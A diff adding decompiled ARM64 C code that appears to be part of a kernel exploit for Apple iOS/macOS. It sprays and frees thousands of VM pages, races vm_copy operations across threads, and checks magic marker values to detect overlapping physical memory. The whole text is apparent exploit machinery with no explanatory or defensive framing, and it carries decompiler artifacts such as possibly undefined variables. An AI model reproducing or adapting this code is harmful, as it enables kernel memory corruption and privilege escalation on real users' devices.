+ do + { + address = 0; + result = vm_allocate(mach_task_self_, &address, 0x4000u, 1); + *(_QWORD *)(*(_QWORD *)(a1 + 48) + v2) = address; + v2 += 8; + } + while ( v2 != 800000 ); + return result; +} + +//----- (00000000000073B8) ---------------------------------------------------- +__int64 __fastcall allocate_two_buffers_for_something(_QWORD *a1) +{ + vm_size_t v2; // x2 + __int64 result; // x0 + unsigned __int64 v4; // x8 + unsigned __int64 v5; // x9 + __int64 v6; // x10 + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + a1[137] = 0x400000; + address = 0; + vm_allocate(mach_task_self_, &address, 0x400000u, 3); + a1[135] = address; + v2 = a1[137]; + address = 0; + result = vm_allocate(mach_task_self_, &address, v2, 1); + a1[136] = address; + v4 = a1[137]; + if ( v4 ) + { + v5 = 0; + v6 = a1[135]; + do + { + *(_BYTE *)(v6 + v5) = 65; + v5 += 0x4000LL; + } + while ( v5 < v4 ); + } + return result; +} + +//----- (0000000000007454) ---------------------------------------------------- +__int64 __fastcall sub_7454(_QWORD *a1) +{ + vm_size_t v2; // x2 + vm_size_t v3; // x2 + __int64 result; // x0 + unsigned __int64 v5; // x8 + _OWORD *v6; // x9 + unsigned __int64 v7; // x9 + unsigned __int64 v8; // x22 + vm_address_t v9; // x20 + _BYTE v10[32]; // [xsp+0h] [xbp-140h] BYREF + __int128 v11; // [xsp+20h] [xbp-120h] + __int128 v12; // [xsp+30h] [xbp-110h] + __int128 v13; // [xsp+40h] [xbp-100h] + __int128 v14; // [xsp+50h] [xbp-F0h] + __int128 v15; // [xsp+60h] [xbp-E0h] + __int128 v16; // [xsp+70h] [xbp-D0h] + __int128 v17; // [xsp+80h] [xbp-C0h] + __int128 v18; // [xsp+90h] [xbp-B0h] + __int128 v19; // [xsp+A0h] [xbp-A0h] + __int128 v20; // [xsp+B0h] [xbp-90h] + __int128 v21; // [xsp+C0h] [xbp-80h] + __int128 v22; // [xsp+D0h] [xbp-70h] + __int128 v23; // [xsp+E0h] [xbp-60h] + __int128 v24; // [xsp+F0h] [xbp-50h] + vm_address_t address; // [xsp+108h] [xbp-38h] BYREF + + v2 = 163840LL * a1[179]; + a1[140] = v2; + *(_QWORD *)v10 = 0; + vm_allocate(mach_task_self_, (vm_address_t *)v10, v2, 1); + a1[138] = *(_QWORD *)v10; + v3 = a1[140] + 0x8000LL; + *(_QWORD *)v10 = 0; + result = vm_allocate(mach_task_self_, (vm_address_t *)v10, v3, 1); + a1[139] = *(_QWORD *)v10; + *(_QWORD *)v10 = 0; + *(_QWORD *)&v10[24] = 0; + v23 = 0u; + v24 = 0u; + v21 = 0u; + v22 = 0u; + v19 = 0u; + v20 = 0u; + v17 = 0u; + *(_QWORD *)&v18 = 0; + v15 = 0u; + v16 = 0u; + v13 = 0u; + v14 = 0u; + v11 = 0u; + v12 = 0u; + *(_OWORD *)&v10[8] = *(_OWORD *)byte_42D30; + DWORD2(v11) = 1; + LODWORD(v16) = 4; + HIDWORD(v16) = 16893952; + *((_QWORD *)&v18 + 1) = -1; + HIDWORD(v19) = 786560; + if ( a1[140] ) + { + v5 = 0; + do + { + v6 = (_OWORD *)(v5 + a1[138]); + v6[12] = v21; + v6[13] = v22; + v6[14] = v23; + v6[15] = v24; + v6[8] = v17; + v6[9] = v18; + v6[10] = v19; + v6[11] = v20; + v6[4] = v13; + v6[5] = v14; + v6[6] = v15; + v6[7] = v16; + *v6 = *(_OWORD *)v10; + v6[1] = *(_OWORD *)&v10[16]; + v6[2] = v11; + v6[3] = v12; + v5 += 256LL; + v7 = a1[140]; + } + while ( v5 < v7 ); + if ( v7 ) + { + v8 = 0; + do + { + address = v8 + a1[139]; + v9 = address; + vm_allocate(mach_task_self_, &address, 0x4000u, 16386); + result = sub_63E8(v9, 0x4000u, 0); + v8 += 0x4000LL; + } + while ( v8 < a1[140] ); + } + } + return result; +} +// 42D30: using guessed type __int128 xmmword_42D30; + +//----- (0000000000007630) ---------------------------------------------------- +__int64 __fastcall sub_7630(_QWORD *a1) +{ + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + address = 0; + vm_allocate(mach_task_self_, &address, 0xC000u, 1); + a1[158] = address; + sub_66A4(a1); + find_mem_region((__int64)a1); + sub_725C((__int64)a1); + sub_7334((__int64)a1); + allocate_two_buffers_for_something(a1); + return sub_7454(a1); +} + +//----- (00000000000076B0) ---------------------------------------------------- +void *__fastcall sub_76B0(_QWORD *a1) +{ + void *v2; // x19 + vm_address_t v3; // x20 + __int64 v4; // x1 + vm_address_t address; // [xsp+8h] [xbp-28h] BYREF + + v2 = calloc(1u, 0x40u); + address = 0; + vm_allocate(mach_task_self_, &address, 0xC000u, 1); + *((_QWORD *)v2 + 7) = address; + while ( !(unsigned int)sub_6BBC(a1, (__int64)v2 + 16) ) + ; + thread_switch(0, 2, 0); + mach_port_deallocate(mach_task_self_, *((_DWORD *)v2 + 8)); + *((_DWORD *)v2 + 8) = 0; + v3 = *((_QWORD *)v2 + 7); + sub_63E8(v3, 0xC000u, 0); + sub_6448(v3); + if ( v4 != *((_QWORD *)v2 + 2) ) + { + vm_deallocate(mach_task_self_, v3, 0xC000u); + *((_QWORD *)v2 + 7) = 0; + *((_QWORD *)v2 + 1) = 1; + } + return v2; +} +// 775C: variable 'v4' is possibly undefined + +//----- (0000000000007794) ---------------------------------------------------- +void *__fastcall sub_7794(_QWORD *a1, int a2) +{ + void *v4; // x19 + __int64 v5; // x1 + vm_address_t v6; // x3 + __int64 v7; // x1 + vm_address_t v8; // x3 + __int64 v9; // x1 + vm_address_t v10; // x0 + vm_address_t v11; // x22 + __int64 v12; // x1 + __int64 v13; // x23 + vm_address_t v14; // x22 + __int64 v15; // x1 + vm_address_t v16; // x0 + vm_address_t v17; // x0 + vm_address_t v18; // x22 + __int64 v19; // x1 + __int64 v20; // x23 + __int64 v21; // x8 + vm_address_t v22; // x3 + __int64 v23; // x8 + vm_address_t v25; // x8 + vm_address_t v26; // x6 + vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-40h] BYREF + vm_address_t address; // [xsp+28h] [xbp-38h] BYREF + + v4 = calloc(1u, 0x100u); + address = 0; + vm_allocate(mach_task_self_, &address, 0x18000u, 1); + *((_QWORD *)v4 + 17) = address; + while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 16) ) + ; + thread_switch(0, 2, 0); + mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 8)); + *((_DWORD *)v4 + 8) = 0; + **((_BYTE **)v4 + 17) = 65; + sub_6448(*((_QWORD *)v4 + 17)); + if ( v5 != *((_QWORD *)v4 + 2) ) + { + v23 = 1; +LABEL_23: + *((_QWORD *)v4 + 1) = v23; + return v4; + } + address = 0; + vm_allocate(mach_task_self_, &address, 0x14000u, 1); + v6 = address; + *((_QWORD *)v4 + 18) = address; + vm_copy(mach_task_self_, *((_QWORD *)v4 + 17) + 0x4000LL, 0x14000u, v6); + while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 56) ) + ; + thread_switch(0, 2, 0); + mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 18)); + *((_DWORD *)v4 + 18) = 0; + *(_BYTE *)(*((_QWORD *)v4 + 18) + 0x10000LL) = 65; + sub_6448(*((_QWORD *)v4 + 18)); + if ( v7 != *((_QWORD *)v4 + 7) ) + { + v23 = 2; + goto LABEL_23; + } + address = 0; + vm_allocate(mach_task_self_, &address, 0x10000u, 1); + v8 = address; + *((_QWORD *)v4 + 19) = address; + vm_copy(mach_task_self_, *((_QWORD *)v4 + 18), 0x10000u, v8); + while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 96) ) + ; + thread_switch(0, 2, 0); + mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 28)); + *((_DWORD *)v4 + 28) = 0; + *(_BYTE *)(*((_QWORD *)v4 + 19) + 0x8000LL) = 65; + sub_6448(*((_QWORD *)v4 + 19)); + if ( v9 != *((_QWORD *)v4 + 12) ) + { + v23 = 3; + goto LABEL_23; + } + v10 = sub_6384(*((_QWORD *)v4 + 19), 0x10000u, 0); + *((_QWORD *)v4 + 20) = v10; + address = v10 + 0x4000; + vm_allocate(mach_task_self_, &address, 0xC000u, 0x4000); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 18), 0x14000u); + *((_QWORD *)v4 + 18) = 0; + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 17), 0x18000u); + *((_QWORD *)v4 + 17) = 0; + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 3), 0x4000u); + *((_QWORD *)v4 + 3) = 0; + *((_QWORD *)v4 + 21) = sub_6384(*((_QWORD *)v4 + 19), 0x10000u, 1); + address = 0; + vm_allocate(mach_task_self_, &address, 0x10000u, 1); + *((_QWORD *)v4 + 22) = address; + address = 0; + vm_allocate(mach_task_self_, &address, 0x10000u, 1); + *((_QWORD *)v4 + 23) = address; + vm_copy(mach_task_self_, *((_QWORD *)v4 + 21), 0x10000u, *((_QWORD *)v4 + 22)); + vm_copy(mach_task_self_, *((_QWORD *)v4 + 21), 0x10000u, *((_QWORD *)v4 + 23)); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 19), 0x10000u); + *((_QWORD *)v4 + 19) = 0; + v11 = *((_QWORD *)v4 + 21) + 0x8000LL; + vm_protect(mach_task_self_, v11, 0x4000u, 0, 1); + sub_6448(v11); + v13 = v12; + vm_protect(mach_task_self_, v11, 0x4000u, 0, 3); + if ( v13 != *((_QWORD *)v4 + 2) ) + { + v23 = 4; + goto LABEL_23; + } + address = 0; + vm_allocate(mach_task_self_, &address, 0x10000u, 1); + v14 = address; + vm_copy(mach_task_self_, address, 0x10000u, *((_QWORD *)v4 + 20)); + vm_deallocate(mach_task_self_, v14, 0x10000u); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 20) + 0x4000LL, 0xC000u); + address = 0; + vm_allocate(mach_task_self_, &address, 0x10000u, 1); + *((_QWORD *)v4 + 24) = address; + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 8), 0x4000u); + *((_QWORD *)v4 + 8) = 0; + *(_BYTE *)(*((_QWORD *)v4 + 24) + 0x4000LL) = 65; + *((_QWORD *)v4 + 25) = sub_6384(*((_QWORD *)v4 + 24), 0x10000u, 0); + sub_6448(*((_QWORD *)v4 + 24)); + if ( v15 != *((_QWORD *)v4 + 7) ) + { + v23 = 5; + goto LABEL_23; + } + v16 = *((_QWORD *)v4 + 22); + *((_QWORD *)v4 + 26) = v16; + *((_QWORD *)v4 + 22) = 0; + *((_QWORD *)v4 + 27) = sub_6384(v16, 0x10000u, 0); + if ( (a2 & 1) == 0 ) + **((_BYTE **)v4 + 26) = 65; + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 23), 0x10000u); + *((_QWORD *)v4 + 23) = 0; + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 13), 0x4000u); + *((_QWORD *)v4 + 13) = 0; + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 25), 0x10000u); + *((_QWORD *)v4 + 25) = 0; + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 24), 0x10000u); + *((_QWORD *)v4 + 24) = 0; + v17 = *((_QWORD *)v4 + 21); + *((_QWORD *)v4 + 28) = v17; + *((_QWORD *)v4 + 21) = 0; + *((_QWORD *)v4 + 29) = sub_6384(v17, 0x10000u, 0); + v18 = *((_QWORD *)v4 + 28); + vm_protect(mach_task_self_, v18, 0x4000u, 0, 1); + sub_6448(v18); + v20 = v19; + vm_protect(mach_task_self_, v18, 0x4000u, 0, 3); + if ( v20 != *((_QWORD *)v4 + 7) ) + { + v23 = 6; + goto LABEL_23; + } + v21 = *((_QWORD *)v4 + 26); + if ( a2 ) + { + *((_QWORD *)v4 + 30) = sub_6384(v21 + 0x4000, 0xC000u, 1); + address = 0; + vm_allocate(mach_task_self_, &address, 0xC000u, 1); + v22 = address; + *((_QWORD *)v4 + 31) = address; + vm_copy(mach_task_self_, *((_QWORD *)v4 + 30), 0xC000u, v22); + } + else + { + vm_deallocate(mach_task_self_, v21 + 49152, 0x4000u); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 27) + 49152LL, 0x4000u); + v25 = a1[158]; + if ( v25 ) + { + v26 = *((_QWORD *)v4 + 27); + *(_QWORD *)cur_protection = 0; + address = v25; + vm_remap( + mach_task_self_, + &address, + 0xC000u, + 0, + 0x4000, + mach_task_self_, + v26, + 0, + &cur_protection[1], + cur_protection, + 1u); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 27), 0xC000u); + *((_QWORD *)v4 + 27) = a1[158]; + a1[158] = 0; + } + } + return v4; +} +// 7840: variable 'v5' is possibly undefined +// 78D4: variable 'v7' is possibly undefined +// 795C: variable 'v9' is possibly undefined +// 7A94: variable 'v12' is possibly undefined +// 7B88: variable 'v15' is possibly undefined +// 7C58: variable 'v19' is possibly undefined + +//----- (0000000000007DA4) ---------------------------------------------------- +_QWORD *__fastcall sub_7DA4(_QWORD *a1, __int64 a2) +{ + __int64 i; // x21 + _QWORD *result; // x0 + __int64 v6; // x9 + + for ( i = 0; i != 2; ++i ) + { + while ( 1 ) + { + result = sub_76B0(a1); + if ( !result[1] ) + break; + v6 = *(_QWORD *)(a2 + 32); + *result = *(_QWORD *)(a2 + 24); + *(_QWORD *)(a2 + 24) = result; + *(_QWORD *)(a2 + 32) = v6 + 1; + } + *(_QWORD *)(a2 + 8 * i) = result; + } + return result; +} + +//----- (0000000000007E08) ---------------------------------------------------- +_QWORD *__fastcall sub_7E08(_QWORD *a1, _QWORD *a2) +{ + _QWORD *v3; // x20 + _QWORD *v4; // x21 + _BOOL4 v5; // w1 + _QWORD *result; // x0 + __int64 v7; // x9 + _QWORD *v8; // x8 + + v3 = a1; + v4 = a1 + 151; + v5 = a1 + 151 == a2; + while ( 1 ) + { + result = sub_7794(a1, v5); + if ( !result[1] ) + break; + v5 = v4 == a2; + v7 = a2[2]; + *result = a2[1]; + a2[1] = result; + a2[2] = v7 + 1; + a1 = v3; + } + *a2 = result; + if ( a2[2] ) + { + v8 = a2 + 1; + do + v8 = (_QWORD *)*v8; + while ( v8 ); + } + return result; +} + +//----- (0000000000007E84) ---------------------------------------------------- +_QWORD *__fastcall sub_7E84(_QWORD *a1) +{ + __int64 vars8; // [xsp+18h] [xbp+8h] + + sub_7DA4(a1, (__int64)(a1 + 141)); + sub_7DA4(a1, (__int64)(a1 + 146)); + sub_7E08(a1, a1 + 151); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_7E08(a1, a1 + 155); +} +// 7ECC: variable 'vars8' is possibly undefined + +//----- (0000000000007EDC) ---------------------------------------------------- +__int64 __fastcall sub_7EDC(__int64 a1) +{ + atomic_store(1u, (unsigned __int8 *)(a1 + 1280)); + vm_copy( + mach_task_self_, + *(_QWORD *)(*(_QWORD *)(a1 + 1208) + 240LL), + 0xC000u, + *(_QWORD *)(*(_QWORD *)(a1 + 1240) + 208LL)); + return 0; +} + +//----- (0000000000007F28) ---------------------------------------------------- +__int64 __fastcall sub_7F28(__int64 a1) +{ + __int64 i; // x21 + __int64 v3; // x23 + __int64 j; // x21 + __int64 v5; // x23 + + setup_thread_policy(); + for ( i = 0; i != -16; i -= 8 ) + { + v3 = *(_QWORD *)(a1 + 1136 + i); + vm_deallocate(mach_task_self_, *(_QWORD *)(v3 + 24), 0x4000u); + *(_QWORD *)(v3 + 24) = 0; + } + vm_copy(mach_task_self_, *(_QWORD *)(a1 + 1080), *(_QWORD *)(a1 + 1096), *(_QWORD *)(a1 + 1088)); + for ( j = 0; j != -16; j -= 8 ) + { + v5 = *(_QWORD *)(a1 + 1176 + j); + vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 24), 0x4000u); + *(_QWORD *)(v5 + 24) = 0; + } + atomic_store(1u, (unsigned __int8 *)(a1 + 1296)); + vm_copy(mach_task_self_, *(_QWORD *)(*(_QWORD *)(a1 + 1240) + 208LL), 0xC000u, 0xFFFFFFFFFFFFFFFFLL); + return 0; +} + +//----- (0000000000007FF8) ---------------------------------------------------- +__int64 __fastcall sub_7FF8(__int64 a1, unsigned __int64 a2) +{ + __int64 v4; // x8 + unsigned __int64 *v5; // x25 + unsigned __int64 *v6; // x21 + __int64 v7; // x22 + __int64 v8; // x26 + __int64 v9; // x23 + unsigned __int64 v10; // x8 + __int64 v11; // x28 + unsigned __int64 v12; // x27 + __int64 result; // x0 + unsigned __int64 v14; // x25 + unsigned __int64 v15; // x26 + vm_address_t address; // [xsp+8h] [xbp-58h] BYREF + + v4 = *(_QWORD *)(a1 + 32); + v5 = (unsigned __int64 *)(v4 + 0x4000); + v6 = (unsigned __int64 *)(v4 + 0x8000); + v7 = *(_QWORD *)(a1 + 1088); + v8 = *(_QWORD *)(a1 + 1496); + v9 = *(_QWORD *)(a1 + 1504); + *(_QWORD *)(v8 + v7) = 0xAAAA1111AAAA1111LL; + *(_QWORD *)(v9 + v7) = 0xAAAA1111AAAA1111LL; + v10 = 0xBBBB2222BBBB2223LL; + v11 = 200000; + while ( 1 ) + { + v12 = v10; + address = (vm_address_t)v5; + result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000); + *v5 = v12; + __dsb(0xAu); + if ( v12 == *(_QWORD *)(v7 + v8) ) + { + *(_BYTE *)(a1 + 40) = 1; + goto LABEL_8; + } + if ( v12 == *(_QWORD *)(v7 + v9) ) + break; + v10 = v12 + 1; + if ( !--v11 ) + goto LABEL_8; + } + *(_BYTE *)(a1 + 41) = 1; +LABEL_8: + if ( !*(_BYTE *)(a1 + 41) && a2 ) + { + v14 = v12 + 1; + v15 = 1; + while ( 1 ) + { + address = (vm_address_t)v6; + result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000); + *v6 = v14; + __dsb(0xAu); + if ( v14 == *(_QWORD *)(v7 + v9) ) + break; + ++v15; + ++v14; + if ( v15 > a2 ) + return result; + } + *(_BYTE *)(a1 + 41) = 1; + } + return result; +} + +//----- (000000000000814C) ---------------------------------------------------- +__int64 __fastcall sub_814C(__int64 a1, int a2) +{ + unsigned __int64 *v4; // x21 + __int64 v5; // x22 + __int64 v6; // x8 + __int64 v7; // x23 + unsigned __int64 v8; // x24 + __int64 v9; // x25 + __int64 result; // x0 + vm_address_t address; // [xsp+8h] [xbp-48h] BYREF + + v4 = (unsigned __int64 *)(*(_QWORD *)(a1 + 32) + 0x4000LL); + v5 = *(_QWORD *)(a1 + 1088); + v6 = 1504; + if ( a2 ) + v6 = 1496; + v7 = *(_QWORD *)(a1 + v6); + *(_QWORD *)(v7 + v5) = 0xAAAA1111AAAA1111LL; + v8 = 0xBBBB2222BBBB2223LL; + v9 = 200000; + while ( 1 ) + { + address = (vm_address_t)v4; + result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000); + *v4 = v8; + if ( v8 == *(_QWORD *)(v5 + v7) ) + break; + ++v8; + if ( !--v9 ) + return result; + } + if ( a2 ) + *(_BYTE *)(a1 + 40) = 1; + else + *(_BYTE *)(a1 + 41) = 1; + return result; +} + +//----- (0000000000008228) ---------------------------------------------------- +unsigned __int64 __fastcall sub_8228(__int64 a1) +{ + pthread_t *v2; // x20 + unsigned __int8 *v3; // x21 + void *(__cdecl *v4)(void *); // x0 + unsigned __int8 v5; // w8 + unsigned __int8 v6; // w8 + void *(__cdecl *v7)(void *); // x0 + unsigned __int8 v8; // w8 + unsigned __int8 v9; // w8 + __int64 v10; // x1 + __int64 v11; // x8 + char v12; // w10 + char v13; // w9 + __int64 v14; // x20 + char i; // w8 + char v16; // w21 + unsigned __int64 result; // x0 + + v2 = (pthread_t *)(a1 + 1272); + v3 = (unsigned __int8 *)(a1 + 1280); + atomic_store(0, (unsigned __int8 *)(a1 + 1280)); + v4 = (void *(__cdecl *)(void *))nullsub_1(sub_7EDC); + if ( pthread_create(v2, 0, v4, (void *)a1) ) + __error(); + v5 = atomic_load(v3); + if ( (v5 & 1) == 0 ) + { + do + { + usleep(0x3E8u); + v6 = atomic_load((unsigned __int8 *)(a1 + 1280)); + } + while ( (v6 & 1) == 0 ); + } + usleep(0x1388u); + atomic_store(0, (unsigned __int8 *)(a1 + 1296)); + v7 = (void *(__cdecl *)(void *))nullsub_1(sub_7F28); + if ( pthread_create((pthread_t *)(a1 + 1288), 0, v7, (void *)a1) ) + __error(); + v8 = atomic_load((unsigned __int8 *)(a1 + 1296)); + if ( (v8 & 1) == 0 ) + { + do + { + usleep(0x3E8u); + v9 = atomic_load((unsigned __int8 *)(a1 + 1296)); + } + while ( (v9 & 1) == 0 ); + } + usleep(0x1388u); + sub_6448(*(_QWORD *)(a1 + 1088)); + v11 = 0; + v12 = 1; + while ( 1 ) + { + v13 = v12; + if ( v10 == *(_QWORD *)(*(_QWORD *)(a1 + 8 * v11 + 1128) + 16LL) ) + break; + v12 = 0; + v11 = 1; + if ( (v13 & 1) == 0 ) + goto LABEL_14; + } + *(_QWORD *)(a1 + 1144) = v11; +LABEL_14: + v14 = 0; + for ( i = 1; ; i = 0 ) + { + v16 = i; + result = sub_6448(*(_QWORD *)(*(_QWORD *)(a1 + 8 * v14 + 1168) + 56LL)); + if ( (_DWORD)result == 2 ) + break; + v14 = 1; + if ( (v16 & 1) == 0 ) + return result; + } + *(_QWORD *)(a1 + 1184) = v14; + return result; +} +// 8324: variable 'v10' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000008384) ---------------------------------------------------- +int *__fastcall sub_8384(__int64 a1, __int64 a2) +{ + int *result; // x0 + __int64 vars8; // [xsp+8h] [xbp+8h] + + result = (int *)madvise((void *)(*(_QWORD *)(a1 + 32) + 49152LL), a2 << 14, 3); + if ( (_DWORD)result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return __error(); + } + return result; +} +// 83B0: variable 'vars8' is possibly undefined + +//----- (00000000000083C8) ---------------------------------------------------- +__int64 __fastcall sub_83C8(_QWORD *a1) +{ + vm_address_t v2; // x20 + __int64 v3; // x8 + __int64 v4; // x10 + __int64 v5; // x22 + __int64 v6; // x23 + __int64 i; // x20 + __int64 result; // x0 + vm_address_t address; // [xsp+8h] [xbp-38h] BYREF + + address = 0; + vm_allocate(mach_task_self_, &address, 0xC000u, 1); + v2 = address; + v3 = a1[136]; + v4 = a1[188]; + *(_BYTE *)(a1[187] + v3) = 65; + *(_BYTE *)(v4 + v3) = 65; + v5 = a1[a1[143] + 141]; + vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 56), 0xC000u); + *(_QWORD *)(v5 + 56) = 0; + thread_switch(0, 2, 0); + v6 = a1[a1[148] + 146]; + vm_deallocate(mach_task_self_, *(_QWORD *)(v6 + 56), 0xC000u); + *(_QWORD *)(v6 + 56) = 0; + sub_63E8(v2, 0xC000u, 0); + sub_6448(v2); + *(_QWORD *)(a1[a1[148] + 146] + 56LL) = v2; + sub_7FF8((__int64)a1, a1[179]); + sub_8384((__int64)a1, a1[179] - 4LL); + for ( i = 0; i != 800000; i += 8 ) + result = sub_63E8(*(_QWORD *)(a1[6] + i), 0x4000u, 0); + return result; +} + +//----- (00000000000084F8) ---------------------------------------------------- +int *__fastcall sub_84F8(__int64 a1) +{ + __int64 v2; // x9 + vm_address_t v3; // x21 + __int64 v4; // x21 + __int64 v5; // x21 + int *result; // x0 + vm_address_t address; // [xsp+8h] [xbp-28h] BYREF + + v2 = *(_QWORD *)(a1 + 32); + if ( *(_BYTE *)(a1 + 40) && *(_BYTE *)(a1 + 41) ) + { + v3 = v2 + 0x8000; + address = v2 + 0x4000; + vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000); + address = v3; + } + else + { + address = v2 + 0x4000; + } + vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000); + v4 = *(_QWORD *)(a1 + 1240); + vm_deallocate(mach_task_self_, *(_QWORD *)(v4 + 160), 0x4000u); + *(_QWORD *)(v4 + 160) = 0; + if ( pthread_join(*(pthread_t *)(a1 + 1288), 0) ) + __error(); + *(_QWORD *)(a1 + 1288) = 0; + v5 = *(_QWORD *)(a1 + 1208); + vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 160), 0x4000u); + *(_QWORD *)(v5 + 160) = 0; + result = (int *)pthread_join(*(pthread_t *)(a1 + 1272), 0); + if ( (_DWORD)result ) + result = __error(); + *(_QWORD *)(a1 + 1272) = 0; + return result; +} + +//----- (00000000000085E4) ---------------------------------------------------- +void __fastcall sub_85E4(__int64 a1) +{ + int v2; // w8 + __int64 v3; // x22 + __int64 v4; // x23 + __int64 v5; // x25 + vm_address_t v6; // x20 + __int64 v7; // x1 + __int64 v8; // x8 + int (__cdecl *v9)(const void *, const void *); // x0 + + v2 = *(unsigned __int8 *)(a1 + 40); + if ( *(_BYTE *)(a1 + 40) && *(_BYTE *)(a1 + 41) ) + { + *(_WORD *)(a1 + 40) = 0; + sub_7FF8(a1, *(_QWORD *)(a1 + 1432)); + } + else + { + *(_WORD *)(a1 + 40) = 0; + sub_814C(a1, v2 != 0); + } + vm_copy(mach_task_self_, *(_QWORD *)(a1 + 1104), *(_QWORD *)(a1 + 1120), *(_QWORD *)(a1 + 1112)); + v3 = 0; + v4 = 0; + v5 = 0; + do + { + v6 = *(_QWORD *)(*(_QWORD *)(a1 + 48) + 8 * v5); + if ( sub_6448(v6) >> 32 ) + { + vm_deallocate(mach_task_self_, v6, 0x4000u); + ++v5; + } + else + { + if ( !v3 ) + v3 = v5 + 1; + ++v5; + v8 = a1 + 16 * v4; + *(_QWORD *)(v8 + 56) = v6; + *(_QWORD *)(v8 + 64) = v7; + ++v4; + } + } + while ( v5 != 100000 ); + *(_QWORD *)(a1 + 1424) = v3; + v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64B8); + qsort((void *)(a1 + 56), 0x40u, 0x10u, v9); + free(*(void **)(a1 + 48)); + *(_QWORD *)(a1 + 48) = 0; +} +// 8694: variable 'v7' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000008710) ---------------------------------------------------- +void __fastcall sub_8710(_QWORD *a1) +{ + __int64 vars8; // [xsp+18h] [xbp+8h] + + sub_8228((__int64)a1); + sub_83C8(a1); + sub_84F8((__int64)a1); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_85E4((__int64)a1); +} +// 8748: variable 'vars8' is possibly undefined + +//----- (0000000000008758) ---------------------------------------------------- +__int64 __fastcall sub_8758(vm_address_t *a1) +{ + vm_address_t v2; // x8 + __int64 v3; // x8 + vm_address_t v4; // x20 + vm_address_t v5; // x20 + __int64 v6; // x8 + vm_address_t v7; // x20 + vm_address_t *v8; // x26 + vm_address_t v9; // x8 + vm_address_t v10; // x9 + vm_address_t v11; // x10 + __int64 v12; // x20 + vm_address_t v13; // x11 + __int64 v14; // x8 + vm_address_t v15; // x8 + vm_address_t v16; // x1 + vm_address_t v17; // x8 + vm_address_t v18; // x20 + vm_size_t v19; // x21 + unsigned __int64 v20; // x8 + _OWORD *v21; // x9 + __int64 v22; // x20 + vm_address_t *v23; // x21 + vm_address_t v24; // x8 + unsigned __int64 v25; // x11 + unsigned __int64 v26; // x10 + unsigned int v27; // w8 + _OWORD *v28; // x8 + __int128 v30; // [xsp+10h] [xbp-380h] + __int128 v31; // [xsp+30h] [xbp-360h] + _BYTE v32[32]; // [xsp+40h] [xbp-350h] + __int128 v33; // [xsp+60h] [xbp-330h] + __int128 v34; // [xsp+B0h] [xbp-2E0h] + __int128 v35; // [xsp+D0h] [xbp-2C0h] + __int128 v36; // [xsp+E0h] [xbp-2B0h] + __int128 v37; // [xsp+F0h] [xbp-2A0h] + __int128 v38; // [xsp+100h] [xbp-290h] + _BYTE v39[32]; // [xsp+140h] [xbp-250h] + __int128 v40; // [xsp+160h] [xbp-230h] + __int128 v41; // [xsp+170h] [xbp-220h] + __int128 v42; // [xsp+1B0h] [xbp-1E0h] + __int128 v43; // [xsp+1D0h] [xbp-1C0h] + __int128 v44; // [xsp+1E0h] [xbp-1B0h] + __int128 v45; // [xsp+1F0h] [xbp-1A0h] + __int128 v46; // [xsp+200h] [xbp-190h] + _BYTE address[32]; // [xsp+240h] [xbp-150h] BYREF + __int128 v48; // [xsp+260h] [xbp-130h] + __int128 v49; // [xsp+270h] [xbp-120h] + __int128 v50; // [xsp+280h] [xbp-110h] + __int128 v51; // [xsp+290h] [xbp-100h] + __int128 v52; // [xsp+2A0h] [xbp-F0h] + __int128 v53; // [xsp+2B0h] [xbp-E0h] + __int128 v54; // [xsp+2C0h] [xbp-D0h] + __int128 v55; // [xsp+2D0h] [xbp-C0h] + __int128 v56; // [xsp+2E0h] [xbp-B0h] + __int128 v57; // [xsp+2F0h] [xbp-A0h] + __int128 v58; // [xsp+300h] [xbp-90h] + __int128 v59; // [xsp+310h] [xbp-80h] + __int128 v60; // [xsp+320h] [xbp-70h] + __int128 v61; // [xsp+330h] [xbp-60h] + + *(_QWORD *)address = 0; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1); + v2 = *(_QWORD *)address; + a1[176] = *(_QWORD *)address; + a1[172] = v2; + *(_QWORD *)address = v2; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000); + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, a1[7], 0x4000u); + a1[7] = 0; + sub_63E8(a1[172], 0x4000u, 0); + sub_6448(a1[172]); + *(_QWORD *)address = 0; + vm_allocate(mach_task_self_, (vm_address_t *)address, 0x10000u, 1); 